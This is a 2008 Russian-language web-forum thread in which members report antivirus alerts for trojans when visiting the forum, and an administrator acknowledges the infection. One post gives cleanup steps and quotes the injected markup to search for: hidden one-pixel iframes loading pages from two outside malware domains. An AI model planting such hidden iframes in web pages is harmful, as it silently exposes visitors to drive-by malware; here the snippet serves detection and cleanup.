IPB

Добро пожаловать, гость ( Вход | Регистрация )

2 Страниц V  1 2 >  
Reply to this topicStart new topic
> Троян на форуме!
Егор
20 Mar 2008, 08:54
Сообщение #1


****
****

Группа: Пользователи
Сообщений: 869
Регистрация: 8 Sep 2006
Пользователь №: 565



Будьте внимательны.
Вчера при заходе на форум ко мне в комп пытался прорваться троян!

Вот сообщение Касперского:

The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
basill
20 Mar 2008, 09:08
Сообщение #2


*
*

Группа: Пользователи
Сообщений: 4
Регистрация: 10 Jan 2008
Пользователь №: 2,935



Цитата(Егор @ 20 Mar 2008, 17:54) *

Будьте внимательны.
Вчера при заходе на форум ко мне в комп пытался прорваться троян!

Вот сообщение Касперского:

The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus

подтверждаю!!!
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Черногорка
20 Mar 2008, 11:29
Сообщение #3


**
**

Группа: Пользователи
Сообщений: 64
Регистрация: 14 May 2007
Из: Montenegro
Пользователь №: 2,101



Цитата(basill @ 20 Mar 2008, 10:08) *

подтверждаю!!!


Точно, на меня пытался напасть!
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Пенсионер
20 Mar 2008, 11:33
Сообщение #4


**
**

Группа: Пользователи
Сообщений: 46
Регистрация: 22 Oct 2007
Пользователь №: 2,781



Local Settings\Temporary Internet Files\Content.IE5\IM3SWQR2\in[1].htm\JavaScript.0 - инфицирован Trojan.DownLoader.50222

Это Веб сказал....-с последнего сохраненного поста!....делать то что?
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Егор
20 Mar 2008, 12:36
Сообщение #5


****
****

Группа: Пользователи
Сообщений: 869
Регистрация: 8 Sep 2006
Пользователь №: 565



QUOTE(Пенсионер @ 20 Mar 2008, 11:33) *

Local Settings\Temporary Internet Files\Content.IE5\IM3SWQR2\in[1].htm\JavaScript.0 - инфицирован Trojan.DownLoader.50222

Это Веб сказал....-с последнего сохраненного поста!....делать то что?


Запустить полную проверку компа антивирусом и уничтожить если что-то обнаружится.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
НастяС
20 Mar 2008, 12:48
Сообщение #6


*
*

Группа: Пользователи
Сообщений: 8
Регистрация: 20 Mar 2008
Пользователь №: 3,145



Цитата(Егор @ 20 Mar 2008, 12:36) *

Запустить полную проверку компа антивирусом и уничтожить если что-то обнаружится.

Спасибо за предупреждение.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
A+A
20 Mar 2008, 17:11
Сообщение #7


****
****

Группа: Главные администраторы
Сообщений: 695
Регистрация: 19 Apr 2007
Пользователь №: 1,988



Рекомендую всем соблюдать максимальные меры предосторожности при работе на форму. К сожалению, по техническим причинам мы не сможем решить проблему быстро.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Алексей Блынский
20 Mar 2008, 17:34
Сообщение #8


**
**

Группа: Пользователи
Сообщений: 96
Регистрация: 11 May 2007
Пользователь №: 2,086



Цитата(A+A @ 20 Mar 2008, 18:11) *

Рекомендую всем соблюдать максимальные меры предосторожности при работе на форму. К сожалению, по техническим причинам мы не сможем решить проблему быстро.



В случае обнаружения следов вируса необходимо выполнить
следующие действия с обязательным соблюдением порядка:

1. Удалить вирусное содержимое со страниц вашего сайта.
2. Обновить свою антивирусную программу и проверить локальный компьютер на наличие вирусов.
3. Зайти в панель управления хостинг-аккаунтом
и изменить пароль на пользователя FTP.

Я так думаю у кого-то из админов, вирус сидел на компе, вот и ушел пароль от FTP.
Удачи в лечении.


на страницах нужно искать примерно такое
----
<body bgColor=#CCCCCC leftMargin=0 topMargin=0 marginheight="0" marginwidth="0"><iframe src=http://dorzentovan.com/sp/ frameborder=0 width=1 height=1 scrolling=no></iframe>
----
или
----
<iframe src=http://dorzentovan.com/sp/ frameborder=0 width=1 height=1 scrolling=no></iframe><iframe src=http://dkfjkdkjsl.com/spk2/ frameborder=0 width=1 height=1 scrolling=no></iframe>
----

Еще раз удачи
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
saaaab
20 Mar 2008, 21:13
Сообщение #9


***
***

Группа: Пользователи
Сообщений: 118
Регистрация: 14 May 2007
Пользователь №: 2,100



Цитата(Алексей Блынский @ 20 Mar 2008, 17:34) *



Я так думаю у кого-то из админов, вирус сидел на компе, вот и ушел пароль от FTP.
Удачи в лечении.


Ага. Два дня назад snoop передал бразды правления, если не ошибаюсь, А+А.
Возможно, конечно, совпадение, но...
Сегодня еле запустил комп, и вижу, что из компа все выгружает троян
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
A+A
20 Mar 2008, 22:10
Сообщение #10


****
****

Группа: Главные администраторы
Сообщений: 695
Регистрация: 19 Apr 2007
Пользователь №: 1,988



QUOTE(saaaab @ 20 Mar 2008, 21:13) *

Ага. Два дня назад snoop передал бразды правления, если не ошибаюсь, А+А.
Возможно, конечно, совпадение, но...
Сегодня еле запустил комп, и вижу, что из компа все выгружает троян

У модераторов нет доступа к прову по FTP.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Граф Монтенегро
20 Mar 2008, 23:30
Сообщение #11


**
**

Группа: Пользователи
Сообщений: 32
Регистрация: 3 Mar 2008
Пользователь №: 3,099



Цитата(Егор @ 20 Mar 2008, 08:54) *

Будьте внимательны.
Вчера при заходе на форум ко мне в комп пытался прорваться троян!

Вот сообщение Касперского:

The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus


Да покажите же мне этот вирус наконец. Хобби у меня просто, вирусное (разбираться что и как). smile.gif Весь форум облазил, ничто прицепиться не пытается. У меня антивирус AVIRA, если что. Просканил и DrWebом. Причем загружался с LiveCD.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Егор
21 Mar 2008, 08:43
Сообщение #12


****
****

Группа: Пользователи
Сообщений: 869
Регистрация: 8 Sep 2006
Пользователь №: 565



Да чего его показывать? Вчера вечером опять этот вирус грузился. Да проблем нет, Касперский его убивает у меня и дальше все работает. Не проблема. Зачем антивирус то обновлять если он и так новый и сам обновляется? Что то вы все усложняете. Поставьте антивирус нормальный и непиратский с неворованными ключами и все наладится.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Александар
21 Mar 2008, 14:20
Сообщение #13


.
****

Группа: Главные администраторы
Сообщений: 825
Регистрация: 18 Jan 2007
Пользователь №: 1,315



QUOTE(Граф Монтенегро @ 20 Mar 2008, 23:30) *

Да покажите же мне этот вирус наконец. Хобби у меня просто, вирусное (разбираться что и как). smile.gif Весь форум облазил, ничто прицепиться не пытается. У меня антивирус AVIRA, если что. Просканил и DrWebом. Причем загружался с LiveCD.

выйдите с форума и войдите. при нажатии ВОЙТИ он и прицепляется.
пару дней назад Касперский его ловил, Dr.Web молчал. а сегодня и Dr.Web нашел этого Trojan.DownLoader.50222
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Граф Монтенегро
21 Mar 2008, 14:34
Сообщение #14


**
**

Группа: Пользователи
Сообщений: 32
Регистрация: 3 Mar 2008
Пользователь №: 3,099



Цитата(Егор @ 21 Mar 2008, 08:43) *

Да чего его показывать? Вчера вечером опять этот вирус грузился. Да проблем нет, Касперский его убивает у меня и дальше все работает. Не проблема. Зачем антивирус то обновлять если он и так новый и сам обновляется? Что то вы все усложняете. Поставьте антивирус нормальный и непиратский с неворованными ключами и все наладится.


Да хобби у меня внутри вирусов копаться самому, а не антивирусом.

А про обновление не понял, я вроде про такое ничего не писал. У меня всегда сами антивирусы обновляются (AVIRA Antivir и Dr. Web). И с родными лицензионными ключиками. Неужто думаете, Граф не может позволить себе купить? biggrin.gif У меня и Windows и Office легальные.

Цитата(Александар @ 21 Mar 2008, 14:20) *

выйдите с форума и войдите. при нажатии ВОЙТИ он и прицепляется.
пару дней назад Касперский его ловил, Dr.Web молчал. а сегодня и Dr.Web нашел этого Trojan.DownLoader.50222


Не получилось, Александар. Несколько раз пробовал и процессы мониторил. Ну да пес с ним.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
Алексей Блынский
21 Mar 2008, 15:50
Сообщение #15


**
**

Группа: Пользователи
Сообщений: 96
Регистрация: 11 May 2007
Пользователь №: 2,086



Цитата(Граф Монтенегро @ 21 Mar 2008, 15:34) *

Да хобби у меня внутри вирусов копаться самому, а не антивирусом.


Так отключите антивирус, файрволл, заходите на форум и копайтесь на здоровье. smile.gif
User is offlineProfile CardPM
Go to the top of the page
+Quote Post

2 Страниц V  1 2 >
Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0 -

 



Упрощённая версия Сейчас: 15 Oct, 22:09